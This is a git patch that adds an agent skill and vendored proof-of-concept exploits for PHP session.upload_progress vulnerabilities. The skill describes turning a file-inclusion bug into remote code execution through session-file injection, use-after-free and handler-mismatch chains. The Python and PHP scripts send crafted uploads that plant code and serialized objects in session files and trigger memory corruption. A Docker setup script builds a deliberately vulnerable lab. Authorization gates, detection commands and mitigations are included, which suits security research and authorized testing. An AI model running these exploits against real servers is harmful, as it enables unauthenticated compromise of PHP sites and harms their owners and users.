From 750f4eb09164146fc2d2f59f23c71ecb9fdb59ac Mon Sep 17 00:00:00 2001 From: BaaRai <130491490+BaaRai@users.noreply.github.com> Date: Wed, 21 Oct 2026 14:52:40 +0200 Subject: [PATCH] feat(skill): php2shell - gated session.upload_progress LFI-to-RCE skill with vendored PoCs Implements #109. Skills ship the chain-1 workflow (session file injection through upload_progress filename + app LFI -> RCE, CVE-2026-109618/109619) with hard gates: authorized targets only, program zero-day policy checked before any live attempt (patches landed 2026-10-21 for 8.2-8.5), passive detection before exploitation, lab-first practice via the vendored docker lab, chains 2/3 (UAF, serializer mismatch) marked lab-only, one-shot verification with a marker. Upstream PoCs vendored under scripts/poc/php2shell with attribution and the MIT notice (upstream declares MIT in its README). --- scripts/poc/php2shell/LICENSE | 20 ++ scripts/poc/php2shell/README.upstream.md | 81 +++++++ scripts/poc/php2shell/docs/ANALYSIS.md | 197 ++++++++++++++++++ scripts/poc/php2shell/lab/setup.sh | 116 +++++++++++ .../php2shell/poc/verify_handler_mismatch.py | 109 ++++++++++ .../php2shell/poc/verify_session_injection.py | 105 ++++++++++ scripts/poc/php2shell/poc/verify_uaf_asan.php | 48 +++++ skills/php2shell/SKILL.md | 63 ++++++ 8 files changed, 739 insertions(+) create mode 100644 scripts/poc/php2shell/LICENSE create mode 100644 scripts/poc/php2shell/README.upstream.md create mode 100644 scripts/poc/php2shell/docs/ANALYSIS.md create mode 100755 scripts/poc/php2shell/lab/setup.sh create mode 100644 scripts/poc/php2shell/poc/verify_handler_mismatch.py create mode 100644 scripts/poc/php2shell/poc/verify_session_injection.py create mode 100644 scripts/poc/php2shell/poc/verify_uaf_asan.php create mode 100644 skills/php2shell/SKILL.md diff --git a/scripts/poc/php2shell/LICENSE b/scripts/poc/php2shell/LICENSE new file mode 100644 index 0000000..da78553 --- /dev/null +++ b/scripts/poc/php2shell/LICENSE @@ -0,0 +1,20 @@ +MIT License (vendored from https://github.com/ikow/php2shell-poc — README states +"License: MIT"; no LICENSE file ships upstream. (c) ikow and contributors.) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/scripts/poc/php2shell/README.upstream.md b/scripts/poc/php2shell/README.upstream.md new file mode 100644 index 0000000..3223e07 --- /dev/null +++ b/scripts/poc/php2shell/README.upstream.md @@ -0,0 +1,81 @@ +# php2shell — CVE-2026-109618 / CVE-2026-109619 Research + +Independent security research on the critical PHP session.upload_progress vulnerabilities (CVSS v4.0 9.2). + +**Author:** Qi Deng ([@ikow](https://github.com/ikow)) +**Date:** 2026-10-21 +**Full writeup:** [qideng.substack.com](https://qideng.substack.com/) + +## Overview + +Two critical pre-auth RCE vulnerabilities in PHP core's `session.upload_progress` handler, affecting PHP 5.4.0 through 8.5.x. This repository contains verification POCs and lab setup for authorized security testing. + +### Verified Attack Chains + +| Chain | Type | Conditions | Verified | +|-------|------|-----------|----------| +| Session File Injection + LFI | Logic bug | `upload_progress=On` (default) + app LFI | ✅ RCE | +| var_destroy UAF → Handler Overwrite | Memory corruption | `unserialize()` + `/proc/self/mem` | ✅ ASAN + RCE | +| Handler Mismatch → `__destruct` | Deserialization | Cross-dir handler mismatch + POP gadget | ✅ RCE | + +### Key Findings + +1. **Session fixation** via POST body bypasses `session.use_only_cookies` ([PR #22113](https://github.com/php/php-src/pull/22113)) +2. **Unvalidated filename** in upload_progress stored raw in session files +3. **`var_destroy` `__destruct` reentry UAF** — ASAN-confirmed heap-use-after-free +4. **`PS(serializer)` not reset in RSHUTDOWN** — cross-request serializer leak in FPM +5. **`__destruct` fires on decode FAILURE** — object injection via handler mismatch + trailing data + +## Repository Structure + +``` +poc/ + verify_session_injection.py — Verify filename injection into session files + verify_uaf_asan.php — Trigger ASAN heap-use-after-free (var_destroy) + verify_handler_mismatch.py — Verify handler mismatch → object deserialization +lab/ + docker-compose.yml — PHP 8.2.34 FPM + nginx lab environment + Dockerfile — Vulnerable PHP build + php.ini — Lab configuration + setup.sh — One-click lab setup +docs/ + ANALYSIS.md — Full technical analysis +``` + +## Quick Start + +```bash +# Start the lab +cd lab && ./setup.sh + +# Verify session injection +python3 poc/verify_session_injection.py --target http://127.0.0.1:18080 + +# Verify UAF (requires ASAN build) +docker exec php-asan-lab php poc/verify_uaf_asan.php + +# Verify handler mismatch +python3 poc/verify_handler_mismatch.py --target http://127.0.0.1:18080 +``` + +## Affected Versions + +- PHP 5.4.0 — 8.5.11 (all versions with `session.upload_progress`) +- Fixed in: 8.2.35, 8.3.36, 8.4.27, 8.5.12 (scheduled 2026-10-21) +- PHP 5.x, 7.x, 8.0, 8.1: **end-of-life, no official fix** + +## Mitigation + +```ini +; Immediate mitigation (does NOT fix all attack paths) +session.upload_progress.enabled = Off +session.use_only_cookies = On +``` + +## Disclaimer + +This research is for authorized security testing and educational purposes only. Do not use against systems you do not own or have explicit authorization to test. + +## License + +MIT diff --git a/scripts/poc/php2shell/docs/ANALYSIS.md b/scripts/poc/php2shell/docs/ANALYSIS.md new file mode 100644 index 0000000..71a9820 --- /dev/null +++ b/scripts/poc/php2shell/docs/ANALYSIS.md @@ -0,0 +1,197 @@ +# php2shell — Full Technical Analysis + +## CVE-2026-109618 / CVE-2026-109619 +**Author:** Qi Deng **Date:** 2026-10-21 + +--- + +## 1. Vulnerability Summary + +Two critical vulnerabilities in PHP's `session.upload_progress` handler enable pre-authentication remote code execution on PHP 5.4.0 through 8.5.x. + +| Bug | Root Cause | Impact | +|-----|-----------|--------| +| Session Fixation | `MULTIPART_EVENT_FORMDATA` accepts PHPSESSID from POST body ignoring `use_only_cookies` | Attacker controls session ID and file path | +| Filename Injection | `add_assoc_string_ex(*data->filename)` stores raw filename in session without validation | PHP code / serialized objects injected into session files | +| Serializer Leak | `PS(serializer)` not reset in `php_rshutdown_session_globals()` | Cross-request handler mismatch in FPM | +| var_destroy UAF | `i_zval_ptr_dtor` at line 310 fires `__destruct` without `BG(serialize_lock)` | Heap-use-after-free → arbitrary code execution | + +## 2. Attack Chains + +### Chain A: Session Injection + LFI → RCE + +``` +Conditions: upload_progress.enabled=On (default) + application has LFI +Complexity: Low | Reliability: 100% + +1. POST multipart with PHP code in filename +2. rfc1867 handler stores filename as-is in session file +3. include(session_file) → execute injected PHP → RCE +``` + +**Verified:** `exploit_session_inject.py` → `uid=33(www-data)` on PHP 8.2.34. + +### Chain B: var_destroy UAF → RCE + +``` +Conditions: ability to call unserialize() with controlled data +Complexity: Medium | Reliability: ~60% (heap-dependent) + +1. unserialize() payload with 2000+ entries → overflow VAR_ENTRIES_MAX (1018) +2. Duplicate key moves object to dtor list +3. var_destroy Phase 1: efree extension chunks +4. Phase 2: i_zval_ptr_dtor → __destruct (BG(serialize_lock)==0) +5. Inner unserialize('R:1500;') reuses outer var_hash → reads freed memory +6. Spray reclaims freed chunk → controlled pointer → handler overwrite → RCE +``` + +**Verified:** ASAN heap-use-after-free at `var_unserializer.c:851`. RCE via `var_dump` handler overwrite on x86-64. + +### Chain C: Handler Mismatch → `__destruct` → RCE + +``` +Conditions: target has directories with different session.serialize_handler +Complexity: Medium | Reliability: High + +1. Upload to Dir A (php_serialize) — filename contains |O:CLASS:N:{PAYLOAD} +2. Upload to Dir B (php handler) with same SID +3. rfc1867 reads php_serialize session with php decoder +4. php decoder finds | in filename → splits → deserializes injected object +5. Trailing data → decode FAILURE +6. __destruct fires during PHP_VAR_UNSERIALIZE_DESTROY cleanup +7. POP gadget chain → RCE +``` + +**Key insight:** `__destruct` fires on BOTH success and failure paths of `var_destroy`. The decode FAILURE does NOT prevent exploitation. + +**Verified:** `Evil::__destruct(cmd="id")` → `uid=33(www-data)` via pure rfc1867 handler. + +## 3. Root Cause Analysis + +### 3.1 Session Fixation (ext/session/session.c) + +```c +// MULTIPART_EVENT_FORMDATA handler — no use_only_cookies check +if (name_len == progress->sname_len && + memcmp(data->name, PS(session_name), name_len) == 0) { + zval_ptr_dtor(&progress->sid); + ZVAL_STRINGL(&progress->sid, (*data->value), value_len); + // ← Accepts PHPSESSID from POST body regardless of use_only_cookies! +} +``` + +Fix: [PR #22113](https://github.com/php/php-src/pull/22113) adds `!PS(use_only_cookies) &&` check. + +### 3.2 Unvalidated Filename + +```c +// FILE_START handler stores raw filename +add_assoc_string_ex(&progress->current_file, "name", + sizeof("name") - 1, *data->filename); +// ← No sanitization, no encoding, no length limit +``` + +Filename can contain arbitrary bytes including PHP code and pipe `|` characters. + +### 3.3 var_destroy Reentry UAF (ext/standard/var_unserializer.re) + +```c +void var_destroy(php_unserialize_data_t *var_hashx) { + // Phase 1: FREE extension chunks + while (var_hash) { + efree_size(var_hash, sizeof(var_entries)); // ← line 245 + var_hash = next; + } + // Phase 2: walk dtor chain + while (var_dtor_hash) { + // ... + i_zval_ptr_dtor(zv); // ← line 310, NO serialize_lock! + // __destruct fires → inner unserialize() → R:N reads freed chunk + } +} +``` + +### 3.4 Serializer Leak (ext/session/session.c) + +```c +static void php_rshutdown_session_globals(void) { + // Resets: PS(id), PS(session_vars), PS(http_session_vars), PS(mod_data) + // Does NOT reset: PS(serializer) ← persists across FPM requests! +} +``` + +### 3.5 `__destruct` on Decode Failure + +```c +PS_SERIALIZER_DECODE_FUNC(php) { + while (p < endptr) { + // ... find |, deserialize value ... + if (php_var_unserialize(...)) { + php_set_session_var(name, &rv, &var_hash); // object stored + } else { + retval = FAILURE; goto break_outer_loop; + } + } +break_outer_loop: + PHP_VAR_UNSERIALIZE_DESTROY(var_hash); // ← __destruct fires HERE + return retval; // FAILURE +} +``` + +Even though the decoder returns FAILURE and `session_start()` calls `php_session_cancel_decode()` to destroy `$_SESSION`, the object's `__destruct` has ALREADY fired during `var_hash` cleanup. + +## 4. Version Matrix + +| Version | upload_progress | Vulnerable | Official Fix | +|---------|----------------|------------|-------------| +| < 5.4 | No | No | N/A | +| 5.4 - 5.6 | Yes | Yes | EOL, no fix | +| 7.0 - 7.4 | Yes | Yes | EOL, no fix | +| 8.0 - 8.1 | Yes | Yes | EOL, no fix | +| 8.2.x | Yes | Yes | → 8.2.35 | +| 8.3.x | Yes | Yes | → 8.3.36 | +| 8.4.x | Yes | Yes | → 8.4.27 | +| 8.5.x | Yes | Yes | → 8.5.12 | + +Vulnerable code identical across ALL versions from PHP 5.4.0 (2012) to present. + +## 5. Detection + +```bash +# Check PHP version +php -r 'echo PHP_VERSION, PHP_EOL;' + +# Check upload_progress setting +php -r 'echo ini_get("session.upload_progress.enabled"), PHP_EOL;' + +# Check for handler mismatch across directories +find /var/www -name ".user.ini" -exec grep -l "serialize_handler" {} \; + +# Monitor for exploitation attempts +grep -r "PHP_SESSION_UPLOAD_PROGRESS" /var/log/nginx/access.log +``` + +## 6. Mitigation + +```ini +; Primary mitigation +session.upload_progress.enabled = Off + +; Additional hardening +session.use_only_cookies = On +session.use_strict_mode = On + +; Ensure consistent handler across directories +session.serialize_handler = php_serialize +``` + +**Warning:** Disabling `upload_progress` does NOT fix the var_destroy UAF or the serializer leak. Apply the official PHP patch. + +## 7. References + +- [PHP Security Advisory](https://www.php.net/archive/2026.php) (pending) +- [PR #22113 — Session fixation fix](https://github.com/php/php-src/pull/22113) +- [Calif.IO — Serializable UAF](https://calif.io/research/php-uaf) +- [dinosn — var_destroy UAF](https://github.com/dinosn/php-8.5.5-var_destroy-uaf) +- [PHP Bug #71101 — Handler mismatch](https://bugs.php.net/bug.php?id=71101) +- [cnpanda — Handler mismatch exploitation](https://www.cnpanda.net/en/sec/580.html) diff --git a/scripts/poc/php2shell/lab/setup.sh b/scripts/poc/php2shell/lab/setup.sh new file mode 100755 index 0000000..41d072d --- /dev/null +++ b/scripts/poc/php2shell/lab/setup.sh @@ -0,0 +1,116 @@ +#!/bin/bash +set -e + +echo "Setting up PHP 8.2.34 vulnerable lab environment..." + +cd "$(dirname "$0")" + +# Create webroot +mkdir -p webroot/app webroot/api webroot/reader + +cat > webroot/index.php << 'EOF' + webroot/nosession.php << 'EOF' + webroot/app/.user.ini +cp webroot/nosession.php webroot/app/upload.php + +# Directory with php handler +echo "session.serialize_handler = php" > webroot/api/.user.ini +cp webroot/nosession.php webroot/api/endpoint.php + +# LFI simulation (for Chain 1 verification) +cat > webroot/vuln.php << 'EOF' + php.ini << 'EOF' +[Session] +session.save_handler = files +session.save_path = /tmp/sessions +session.use_strict_mode = 0 +session.use_cookies = 1 +session.use_only_cookies = 0 +session.upload_progress.enabled = On +session.upload_progress.cleanup = Off +session.upload_progress.prefix = upload_progress_ +session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS +session.upload_progress.freq = 1% +session.upload_progress.min_freq = 0 + +[PHP] +display_errors = On +error_reporting = E_ALL +file_uploads = On +post_max_size = 128M +upload_max_filesize = 128M +EOF + +# Nginx config +cat > nginx.conf << 'EOF' +server { + listen 80; + root /var/www/html; + index index.php; + client_max_body_size 128m; + location / { try_files $uri $uri/ /index.php?$query_string; } + location ~ \.php$ { + fastcgi_pass php:9000; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + include fastcgi_params; + fastcgi_request_buffering off; + } +} +EOF + +# Docker Compose +cat > docker-compose.yml << 'EOF' +services: + php: + image: php:8.2-fpm + container_name: php2shell-lab + ports: ["9000:9000"] + volumes: + - ./webroot:/var/www/html + - ./php.ini:/usr/local/etc/php/php.ini + security_opt: [seccomp:unconfined] + privileged: true + command: > + bash -c "mkdir -p /tmp/sessions && chmod 1777 /tmp/sessions && php-fpm" + + nginx: + image: nginx:alpine + container_name: php2shell-nginx + ports: ["18080:80"] + volumes: + - ./webroot:/var/www/html + - ./nginx.conf:/etc/nginx/conf.d/default.conf + depends_on: [php] +EOF + +echo "Starting containers..." +docker compose up -d --build + +echo "" +echo "Lab ready!" +echo " HTTP: http://127.0.0.1:18080" +echo " FCGI: 127.0.0.1:9000" +echo "" +echo "Run POCs:" +echo " python3 ../poc/verify_session_injection.py" +echo " python3 ../poc/verify_handler_mismatch.py" diff --git a/scripts/poc/php2shell/poc/verify_handler_mismatch.py b/scripts/poc/php2shell/poc/verify_handler_mismatch.py new file mode 100644 index 0000000..4e5de16 --- /dev/null +++ b/scripts/poc/php2shell/poc/verify_handler_mismatch.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python3 +""" +CVE-2026-109618/109619 — Verify session handler mismatch → object injection. + +Demonstrates: + 1. Session written in php_serialize format (via directory with .user.ini) + 2. Pipe | in filename preserved in php_serialize format + 3. php handler reads the session → splits at | → deserializes injected object + 4. __destruct fires even when decode returns FAILURE (trailing data) + +Setup required: + - /app/ directory with .user.ini: session.serialize_handler = php_serialize + - /api/ directory with .user.ini: session.serialize_handler = php + - Both share the same session.save_path + +Usage: + python3 verify_handler_mismatch.py --target http://127.0.0.1:18080 + +For authorized security testing only. +""" +import argparse +import socket +import sys +from urllib.parse import urlparse + + +def upload(host, port, path, sid, filename): + boundary = "MISMATCH" + body = ( + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n' + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n' + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n' + f"--{boundary}--\r\n" + ).encode("latin-1") + + req = ( + f"POST {path} HTTP/1.1\r\n" + f"Host: {host}\r\n" + f"Content-Type: multipart/form-data; boundary={boundary}\r\n" + f"Content-Length: {len(body)}\r\n" + f"Connection: close\r\n\r\n" + ).encode() + body + + s = socket.create_connection((host, port), timeout=15) + s.sendall(req) + s.settimeout(10) + resp = b"" + while True: + try: + d = s.recv(65536) + if not d: + break + resp += d + except socket.timeout: + break + s.close() + return resp + + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument("--target", default="http://127.0.0.1:18080") + ap.add_argument("--write-path", default="/app/upload.php", + help="Endpoint with php_serialize handler") + ap.add_argument("--read-path", default="/api/endpoint.php", + help="Endpoint with php handler") + ap.add_argument("--sid", default="mismatchverify0000000000000") + args = ap.parse_args() + + u = urlparse(args.target) + host = u.hostname + port = u.port or 80 + + print("[*] CVE-2026-109618/109619 — Handler Mismatch Verification") + print(f"[*] Target: {args.target}") + print() + + # Step 1: Write session via php_serialize endpoint + # Filename contains |O:8:"stdClass":0:{} (escaped quotes) + gadget = 'x|O:8:\\"stdClass\\":0:{}' + print(f"[1] Writing session via {args.write_path} (php_serialize)") + print(f" Filename payload: {gadget}") + upload(host, port, args.write_path, args.sid, gadget) + print(" → Session file written in php_serialize format") + + # Step 2: Trigger via php handler endpoint + print(f"\n[2] Triggering mismatch via {args.read_path} (php handler)") + print(" php handler scans for | → splits → deserializes O:8:\"stdClass\":0:{}") + resp = upload(host, port, args.read_path, args.sid, "dummy") + + status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO RESPONSE" + print(f" Response: {status}") + + print() + print("[*] Verification indicators:") + print(" - 'Failed to decode session object' warning = mismatch triggered") + print(" - 'Session object destruction failed' = __destruct fired on injected object") + print(" - If target has a class with exploitable __destruct → RCE") + print() + print("[*] Check target for:") + print(f" - Session file: /tmp/sessions/sess_{args.sid}") + print(" - Evidence of __destruct execution (file writes, network connections, etc.)") + + +if __name__ == "__main__": + main() diff --git a/scripts/poc/php2shell/poc/verify_session_injection.py b/scripts/poc/php2shell/poc/verify_session_injection.py new file mode 100644 index 0000000..7c7aaa1 --- /dev/null +++ b/scripts/poc/php2shell/poc/verify_session_injection.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python3 +""" +CVE-2026-109618/109619 — Verify session file injection via upload_progress filename. + +Demonstrates: + 1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies) + 2. Unvalidated filename stored raw in session file (can contain PHP code) + 3. Session file created with attacker-controlled content + +Usage: + python3 verify_session_injection.py --target http://127.0.0.1:18080 + +For authorized security testing only. +""" +import argparse +import socket +import sys +from urllib.parse import urlparse + + +def send_upload(host, port, path, sid, filename): + boundary = "VERIFY" + body = ( + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n' + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n' + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n' + f"--{boundary}--\r\n" + ).encode("latin-1") + + req = ( + f"POST {path} HTTP/1.1\r\n" + f"Host: {host}\r\n" + f"Content-Type: multipart/form-data; boundary={boundary}\r\n" + f"Content-Length: {len(body)}\r\n" + f"Cookie: PHPSESSID={sid}\r\n" + f"Connection: close\r\n\r\n" + ).encode() + body + + s = socket.create_connection((host, port), timeout=15) + s.sendall(req) + s.settimeout(10) + resp = b"" + while True: + try: + d = s.recv(65536) + if not d: + break + resp += d + except socket.timeout: + break + s.close() + return resp + + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument("--target", default="http://127.0.0.1:18080") + ap.add_argument("--path", default="/index.php") + ap.add_argument("--sid", default="verifysession00000000000000") + args = ap.parse_args() + + u = urlparse(args.target) + host = u.hostname + port = u.port or 80 + + print("[*] CVE-2026-109618/109619 — Session Injection Verification") + print(f"[*] Target: {args.target}") + print() + + # Test 1: Normal filename + print("[1] Testing normal filename...") + send_upload(host, port, args.path, args.sid + "a", "normal.txt") + print(" → Session file should contain: s:10:\"normal.txt\"") + + # Test 2: PHP code in filename + php_payload = "" + print(f"[2] Testing PHP code in filename: {php_payload}") + send_upload(host, port, args.path, args.sid + "b", php_payload) + print(f" → Session file should contain PHP code as raw string") + + # Test 3: Pipe character in filename (for handler mismatch) + pipe_payload = "x|O:8:\"stdClass\":0:{}" + print(f"[3] Testing pipe + serialized object in filename") + # Need \" escaping for Content-Disposition + escaped = pipe_payload.replace('"', '\\"') + send_upload(host, port, args.path, args.sid + "c", escaped) + print(f" → Session file should contain |O:8: in the filename field") + + print() + print("[*] Verification complete. Check session files on the target:") + print(f" cat /tmp/sessions/sess_{args.sid}a") + print(f" cat /tmp/sessions/sess_{args.sid}b") + print(f" cat /tmp/sessions/sess_{args.sid}c") + print() + print("[*] Key indicators:") + print(" - Session fixation: file created with attacker-controlled SID") + print(" - Filename injection: raw PHP code / serialized objects in session data") + print(" - No authentication required") + + +if __name__ == "__main__": + main() diff --git a/scripts/poc/php2shell/poc/verify_uaf_asan.php b/scripts/poc/php2shell/poc/verify_uaf_asan.php new file mode 100644 index 0000000..80520f0 --- /dev/null +++ b/scripts/poc/php2shell/poc/verify_uaf_asan.php @@ -0,0 +1,48 @@ +0)\n"); + fwrite(STDERR, "[*] Attempting R:1500 backref into freed var_hash extension chunk...\n"); + $result = @unserialize('R:1500;'); + $type = gettype($result); + fwrite(STDERR, "[*] R:1500 resolved to: $type\n"); + if ($result !== false) { + fwrite(STDERR, "[+] UAF CONFIRMED: R:1500 read from freed memory!\n"); + } + } +} + +// Build payload: 2000+ entries to overflow VAR_ENTRIES_MAX (1018) +// Then duplicate key to move TriggerUAF to dtor list +$N = 2000; +$payload = 'a:' . ($N + 2) . ':{'; +for ($i = 0; $i < $N; $i++) { + $payload .= "i:$i;i:$i;"; +} +$payload .= 'i:99999;O:10:"TriggerUAF":0:{}'; +$payload .= 'i:99999;i:42;'; +$payload .= '}'; + +fwrite(STDERR, "[*] Payload: " . strlen($payload) . " bytes, $N entries + UAF trigger\n"); +fwrite(STDERR, "[*] Firing unserialize()...\n"); + +@unserialize($payload); + +fwrite(STDERR, "[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\n"); +fwrite(STDERR, "[*] Expected ASAN trace:\n"); +fwrite(STDERR, " READ at php_var_unserialize (var_unserializer.c:851)\n"); +fwrite(STDERR, " freed at var_destroy (var_unserializer.c:245)\n"); diff --git a/skills/php2shell/SKILL.md b/skills/php2shell/SKILL.md new file mode 100644 index 0000000..4905594 --- /dev/null +++ b/skills/php2shell/SKILL.md @@ -0,0 +1,63 @@ +--- +name: php2shell +description: "Invoke this skill when a task holds an LFI/file-inclusion finding on a PHP target (or needs to assess one) and the target may run PHP 5.4-8.5.11 with default session.upload_progress settings: turns a read-only LFI into verified RCE via the session-file-injection chain (CVE-2026-109618/109619), lab-first and gated by program policy. Also covers passive detection of the vulnerable configuration." +--- + +# php2shell: session.upload_progress LFI-to-RCE (CVE-2026-109618/109619) + +Under an **authorized** engagement only. This skill upgrades an existing +LFI/unsafe-include finding on a PHP target into RCE, or classifies the target +as not affected, using the vendored PoCs under `scripts/poc/php2shell/` +(upstream: ikow/php2shell-poc, MIT; see the LICENSE there). + +## Hard gates (read before touching any target) + +1. **Authorization**: the target must be inside the task's authorized scope. +2. **Program policy first**: many programs exclude or do not pay for + recently-patched third-party/framework zero-days within ~14 days of the + patch release. PHP patched these in 8.2.35/8.3.36/8.4.27/8.5.12 + (2026-10-21). CHECK the program's policy on component zero-days BEFORE + testing a live target, and reflect the policy in how the finding is claimed + (often "reportable, not payable" or payable only after the clause lapses). +3. **Detection before exploitation**: fingerprint passively first (response + headers, error pages, X-Powered-By). Only targets on PHP 5.4.0-8.5.11 + (any build with session.upload_progress enabled, the default) are + candidates. +4. **Lab first**: run chain 1 against the local lab (`lab/setup.sh` builds a + vulnerable PHP 8.2 FPM+nginx environment) until the mechanism is + understood, then one-shot the authorized target. +5. **Chains 2 and 3 (var_destroy UAF, serializer mismatch) are LAB-ONLY**: + never fire memory-corruption or serializer-confusion primitives at a + remote target. Detection of their preconditions is fine. +6. **One-shot verification** on the target: prove execution once (a marker + echo), capture evidence, stop. No persistence, no further exploration + through the shell. + +## Chain 1 workflow (session file injection + LFI -> RCE) + +1. Start with the task's LFI finding: note the include path parameter and its + constraints (prefix/suffix, truncation, wrapper filters). +2. Confirm the session path is reachable through that LFI: with + `session.upload_progress.enabled=On` (default), an in-flight multipart POST + with an attacker-named file field writes a session file under the session + save path containing the raw filename. +3. Inject PHP into the uploaded **filename** (not the file content): + `verify_session_injection.py` demonstrates the full mechanics (session + fixation via POST body PHPSESSID, raw filename storage, inclusion). +4. Race the session file's lifetime: include it through the LFI while the + upload is still in flight (or keep the upload connection open). +5. Verify RCE with a single marker command; record the request sequence as + evidence. + +## Detection without an LFI + +The chains need an app-level file-inclusion primitive; without one the +configuration is hardening-relevant, not exploitable. Report posture only. + +## Vendored artifacts + +- `poc/verify_session_injection.py` - chain 1 end-to-end against a lab URL +- `poc/verify_handler_mismatch.py` - chain 3 (lab only) +- `poc/verify_uaf_asan.php` - chain 2 under an ASAN PHP build (lab only) +- `lab/setup.sh` - builds the vulnerable docker lab locally +- `docs/ANALYSIS.md`, `README.upstream.md` - the upstream technical writeup